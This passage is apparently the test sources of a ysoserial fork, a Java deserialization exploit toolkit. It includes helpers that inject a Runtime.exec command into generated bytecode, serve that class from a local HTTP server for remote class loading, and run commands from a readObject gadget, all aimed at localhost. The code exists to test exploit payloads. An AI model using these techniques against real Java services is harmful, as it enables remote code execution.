| // some payloads cannot specify the port 23 | jrmpPort = 1099; 24 | } 25 | 26 | 27 | 28 | 29 | 30 | /** 31 | * {@inheritDoc} 32 | * 33 | * @see RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable) 34 | */ 35 | @Override 36 | public Callable createCallable ( final Callable innerCallable ) { 37 | return super.createCallable(new Callable() { 38 | public Object call () throws Exception { 39 | JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/")); 40 | Thread t = new Thread(l, "JRMP listener"); 41 | try { 42 | t.start(); 43 | Object res = innerCallable.call(); 44 | l.waitFor(1000); 45 | return res; 46 | } 47 | finally { 48 | l.close(); 49 | t.interrupt(); 50 | t.join(); 51 | } 52 | } 53 | }); 54 | } 55 | 56 | @Override 57 | public String getPayloadArgs () { 58 | return "localhost:" + jrmpPort; 59 | } 60 | 61 | 62 | 63 | 64 | } 65 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.payloads; 2 | 3 | 4 | import java.util.concurrent.Callable; 5 | 6 | import javax.management.BadAttributeValueExpException; 7 | 8 | import org.junit.Assert; 9 | 10 | import ysoserial.test.CustomTest; 11 | import ysoserial.exploit.JRMPListener; 12 | 13 | 14 | /** 15 | * @author mbechler 16 | * 17 | */ 18 | public class JRMPReverseConnectTest implements CustomTest { 19 | 20 | private int port; 21 | 22 | 23 | /** 24 | * 25 | */ 26 | public JRMPReverseConnectTest () { 27 | // some payloads cannot specify the port 28 | port = 1099; 29 | } 30 | 31 | 32 | public void run ( Callable payload ) throws Exception { 33 | JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo")); 34 | Thread t = new Thread(l, "JRMP listener"); 35 | try { 36 | t.start(); 37 | try { 38 | payload.call(); 39 | } 40 | catch ( Exception e ) { 41 | // ignore 42 | } 43 | Assert.assertTrue("Did not have connection", l.waitFor(1000)); 44 | } 45 | finally { 46 | l.close(); 47 | t.interrupt(); 48 | t.join(); 49 | } 50 | } 51 | 52 | 53 | public String getPayloadArgs () { 54 | return "rmi:localhost:" + port; 55 | } 56 | 57 | } 58 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/payloads/MyfacesTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.payloads; 2 | 3 | 4 | import java.beans.FeatureDescriptor; 5 | import java.net.MalformedURLException; 6 | import java.net.URL; 7 | import java.util.HashMap; 8 | import java.util.Iterator; 9 | import java.util.Map; 10 | 11 | import javax.el.BeanELResolver; 12 | import javax.el.ELContext; 13 | import javax.el.ELResolver; 14 | import javax.el.MapELResolver; 15 | import javax.faces.context.FacesContext; 16 | import javax.servlet.ServletContext; 17 | import javax.servlet.ServletRequest; 18 | 19 | import org.apache.myfaces.el.CompositeELResolver; 20 | import org.apache.myfaces.el.unified.FacesELContext; 21 | import org.mockito.Matchers; 22 | import org.mockito.Mockito; 23 | import org.mockito.invocation.InvocationOnMock; 24 | import org.mockito.stubbing.Answer; 25 | 26 | import ysoserial.payloads.util.Reflections; 27 | import ysoserial.test.CustomDeserializer; 28 | import ysoserial.Deserializer; 29 | 30 | 31 | /** 32 | * @author mbechler 33 | * 34 | */ 35 | public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer { 36 | 37 | 38 | public MyfacesTest ( String command ) { 39 | super(command); 40 | } 41 | 42 | 43 | 44 | public Class getCustomDeserializer () { 45 | return MyfacesDeserializer.class; 46 | } 47 | 48 | /** 49 | * need to use a custom deserializer so that the faces context gets set in the isolated class 50 | * 51 | * @author mbechler 52 | * 53 | */ 54 | public static final class MyfacesDeserializer extends Deserializer { 55 | 56 | public static Class[] getExtraDependencies () { 57 | return new Class[] { 58 | MockRequestContext.class, MockELResolver.class 59 | }; 60 | } 61 | 62 | private static class MockRequestContext implements Answer { 63 | 64 | private Map attributes = new HashMap(); 65 | 66 | 67 | public Object answer ( InvocationOnMock invocation ) throws Throwable { 68 | 69 | if ( "setAttribute".equals(invocation.getMethod().getName()) ) { 70 | this.attributes.put(invocation.getArgumentAt(0, String.class), invocation.getArgumentAt(1, Object.class)); 71 | return null; 72 | } 73 | else if ( "getAttribute".equals(invocation.getMethod().getName()) ) { 74 | return this.attributes.get(invocation.getArgumentAt(0, String.class)); 75 | } 76 | return null; 77 | } 78 | 79 | } 80 | 81 | 82 | private static class MockELResolver extends ELResolver { 83 | 84 | private ServletRequest request; 85 | 86 | 87 | public MockELResolver (ServletRequest req) { 88 | this.request = req; 89 | } 90 | 91 | 92 | @Override 93 | public Object getValue ( ELContext context, Object base, Object property ) { 94 | if ( base == null && "request".equals(property)) { 95 | context.setPropertyResolved(true); 96 | return this.request; 97 | } 98 | 99 | return null; 100 | } 101 | 102 | 103 | @Override 104 | public Class getType ( ELContext context, Object base, Object property ) { 105 | if ( base == null && "request".equals(property)) { 106 | context.setPropertyResolved(true); 107 | return ServletRequest.class; 108 | } 109 | return null; 110 | } 111 | 112 | 113 | @Override 114 | public void setValue ( ELContext context, Object base, Object property, Object value ) { 115 | 116 | } 117 | 118 | 119 | @Override 120 | public boolean isReadOnly ( ELContext context, Object base, Object property ) { 121 | return true; 122 | } 123 | 124 | 125 | @Override 126 | public Iterator getFeatureDescriptors ( ELContext context, Object base ) { 127 | return null; 128 | } 129 | 130 | 131 | @Override 132 | public Class getCommonPropertyType ( ELContext context, Object base ) { 133 | return null; 134 | } 135 | 136 | } 137 | 138 | public MyfacesDeserializer ( byte[] bytes ) { 139 | super(bytes); 140 | } 141 | 142 | 143 | @Override 144 | public Object call () throws Exception { 145 | java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class); 146 | Reflections.setAccessible(setFC); 147 | ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader(); 148 | Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader()); 149 | FacesContext ctx = createMockFacesContext(); 150 | try { 151 | setFC.invoke(null, ctx); 152 | return super.call(); 153 | } 154 | finally { 155 | setFC.invoke(null, (FacesContext) null); 156 | Thread.currentThread().setContextClassLoader(oldTCCL); 157 | } 158 | } 159 | 160 | 161 | private static FacesContext createMockFacesContext () throws MalformedURLException { 162 | FacesContext ctx = Mockito.mock(FacesContext.class); 163 | CompositeELResolver cer = new CompositeELResolver(); 164 | FacesELContext elc = new FacesELContext(cer, ctx); 165 | ServletRequest requestMock = Mockito.mock(ServletRequest.class); 166 | ServletContext contextMock = Mockito.mock(ServletContext.class); 167 | URL url = new URL("file:///"); 168 | Mockito.when(contextMock.getResource(Matchers.anyString())).thenReturn(url); 169 | Mockito.when(requestMock.getServletContext()).thenReturn(contextMock); 170 | Answer attrContext = new MockRequestContext(); 171 | Mockito.when(requestMock.getAttribute(Matchers.anyString())).thenAnswer(attrContext); 172 | Mockito.doAnswer(attrContext).when(requestMock).setAttribute(Matchers.anyString(), Matchers.any()); 173 | cer.add(new MockELResolver(requestMock)); 174 | cer.add(new BeanELResolver()); 175 | cer.add(new MapELResolver()); 176 | Mockito.when(ctx.getELContext()).thenReturn(elc); 177 | return ctx; 178 | } 179 | } 180 | 181 | } 182 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.payloads; 2 | 3 | 4 | import java.io.ByteArrayInputStream; 5 | import java.io.IOException; 6 | import java.io.Serializable; 7 | import java.util.Random; 8 | import java.util.concurrent.Callable; 9 | 10 | import fi.iki.elonen.NanoHTTPD; 11 | import fi.iki.elonen.NanoHTTPD.Response.Status; 12 | import javassist.ClassClassPath; 13 | import javassist.ClassPool; 14 | import javassist.CtClass; 15 | import ysoserial.test.WrappedTest; 16 | 17 | 18 | /** 19 | * @author mbechler 20 | * 21 | */ 22 | public class RemoteClassLoadingTest implements WrappedTest { 23 | 24 | int port; 25 | private String command; 26 | private String className; 27 | 28 | public RemoteClassLoadingTest ( String command ) { 29 | this.command = command; 30 | this.port = new Random().nextInt(65535-1024)+1024; 31 | this.className = "Exploit-" + System.currentTimeMillis(); 32 | } 33 | 34 | 35 | public String getPayloadArgs () { 36 | return String.format("http://localhost:%d/", this.port) + ":" + this.className; 37 | } 38 | 39 | public int getHTTPPort () { 40 | return this.port; 41 | } 42 | 43 | public Callable createCallable ( Callable innerCallable ) { 44 | return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable); 45 | } 46 | 47 | public String getExploitClassName () { 48 | return this.className; 49 | } 50 | 51 | protected byte[] makePayloadClass () { 52 | try { 53 | ClassPool pool = ClassPool.getDefault(); 54 | pool.insertClassPath(new ClassClassPath(Exploit.class)); 55 | final CtClass clazz = pool.get(Exploit.class.getName()); 56 | clazz.setName(this.className); 57 | clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); 58 | return clazz.toBytecode(); 59 | } 60 | catch ( Exception e ) { 61 | e.printStackTrace(); 62 | return new byte[0]; 63 | } 64 | } 65 | 66 | static class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable { 67 | 68 | private Callable innerCallable; 69 | private byte[] data; 70 | private Object waitLock = new Object(); 71 | 72 | 73 | public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable innerCallable ) { 74 | super(port); 75 | this.data = data; 76 | this.innerCallable = innerCallable; 77 | 78 | } 79 | 80 | 81 | public void waitFor() throws InterruptedException { 82 | synchronized ( this.waitLock ) { 83 | this.waitLock.wait(1000); 84 | } 85 | } 86 | 87 | 88 | public Object call () throws Exception { 89 | try { 90 | setup(); 91 | Object res = this.innerCallable.call(); 92 | waitFor(); 93 | Thread.sleep(1000); 94 | return res; 95 | } 96 | finally { 97 | cleanup(); 98 | } 99 | 100 | } 101 | 102 | private void setup () throws IOException { 103 | start(NanoHTTPD.SOCKET_READ_TIMEOUT, false); 104 | } 105 | 106 | 107 | private void cleanup () { 108 | stop(); 109 | } 110 | 111 | 112 | @Override 113 | public Response serve ( IHTTPSession sess ) { 114 | System.out.println("Serving " + sess.getUri()); 115 | Response response = newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length); 116 | synchronized ( this.waitLock ) { 117 | this.waitLock.notify(); 118 | } 119 | return response; 120 | } 121 | 122 | } 123 | 124 | 125 | 126 | public static class Exploit implements Serializable { 127 | 128 | private static final long serialVersionUID = 1L; 129 | 130 | } 131 | } 132 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/payloads/TestHarnessTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.payloads; 2 | 3 | import java.io.IOException; 4 | import java.io.ObjectInputStream; 5 | import java.io.Serializable; 6 | 7 | import org.hamcrest.CoreMatchers; 8 | import org.junit.Assert; 9 | import org.junit.Test; 10 | import ysoserial.payloads.ObjectPayload; 11 | 12 | public class TestHarnessTest { 13 | // make sure test harness fails properly 14 | @Test 15 | public void testHarnessExecFail() throws Exception { 16 | try { 17 | PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]); 18 | Assert.fail("should have failed"); 19 | } catch (AssertionError e) { 20 | Assert.assertThat(e.getMessage(), CoreMatchers.containsString("test file should exist")); 21 | 22 | } 23 | } 24 | 25 | // make sure test harness fails properly 26 | @Test 27 | public void testHarnessClassLoaderFail() throws Exception { 28 | try { 29 | PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]); 30 | Assert.fail("should have failed"); 31 | } catch (AssertionError e) { 32 | //Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException")); 33 | } 34 | } 35 | 36 | // make sure test harness passes properly with trivial execution gadget 37 | @Test 38 | public void testHarnessExecPass() throws Exception { 39 | PayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class }); 40 | } 41 | 42 | public static class ExecMockPayload implements ObjectPayload { 43 | public ExecMockSerializable getObject(String command) throws Exception { 44 | return new ExecMockSerializable(command); 45 | } 46 | } 47 | 48 | public static class NoopMockPayload implements ObjectPayload { 49 | public Integer getObject(String command) throws Exception { 50 | return 1; 51 | } 52 | } 53 | 54 | @SuppressWarnings("serial") 55 | public static class ExecMockSerializable implements Serializable { 56 | private final String cmd; 57 | public ExecMockSerializable(String cmd) { this.cmd = cmd; } 58 | 59 | private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException { 60 | ois.defaultReadObject(); 61 | try { 62 | Runtime.getRuntime().exec(cmd); 63 | } catch (IOException e) { 64 | throw new RuntimeException(e); 65 | } 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/util/Callables.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.util; 2 | 3 | import java.util.concurrent.Callable; 4 | 5 | public class Callables { 6 | public static interface BeforeAfterCallback { 7 | public void before(); 8 | public void after(); 9 | } 10 | 11 | public static class Wrapper implements Callable { 12 | private final Callable callable; 13 | private final BeforeAfterCallback callback; 14 | 15 | public Wrapper(Callable callable, BeforeAfterCallback callback) { 16 | this.callable = callable; 17 | this.callback = callback; 18 | } 19 | 20 | @Override 21 | public T call() throws Exception { 22 | try { 23 | callback.before(); 24 | return callable.call(); 25 | } finally { 26 | callback.after(); 27 | } 28 | } 29 | } 30 | 31 | public static Callable wrap(Callable callable, BeforeAfterCallback callback) { 32 | return new Wrapper(callable, callback); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/util/Files.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.util; 2 | 3 | import java.io.File; 4 | 5 | public class Files { 6 | public static void waitForFile(File file, int timeoutMs) throws InterruptedException { 7 | long timeout = System.currentTimeMillis() + timeoutMs; 8 | while (! file.exists() && System.currentTimeMillis() < timeout) { 9 | Thread.sleep(10); 10 | } 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/util/OS.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.util; 2 | 3 | public enum OS { 4 | WINDOWS, 5 | LINUX, 6 | OSX, 7 | OTHER; 8 | 9 | private static final OS os = determineOs(); 10 | 11 | public static OS get() { 12 | return os; 13 | } 14 | 15 | private static OS determineOs() { 16 | String osName = System.getProperty("os.name", "other").toLowerCase(); 17 | if (osName.contains("windows")) { 18 | return WINDOWS; 19 | } else if (osName.contains("mac os x")) { 20 | return OSX; 21 | } else if (osName.contains("linux")) { 22 | return LINUX; 23 | } else { 24 | return OTHER; 25 | } 26 | } 27 | 28 | public static String getTmpDir() { 29 | return System.getProperty("java.io.tmpdir"); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/test/java/ysoserial/test/util/Throwables.java: -------------------------------------------------------------------------------- 1 | package ysoserial.test.util; 2 | 3 | public class Throwables { 4 | public static Throwable getInnermostCause(final Throwable t) { 5 | final Throwable cause = t.getCause(); 6 | return cause == null || cause == t ? t : getInnermostCause(cause); 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /ysoserial.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zema1/ysoserial/38e2f39df071e58b04a5e94d8bc1aea464619c77/ysoserial.png --------------------------------------------------------------------------------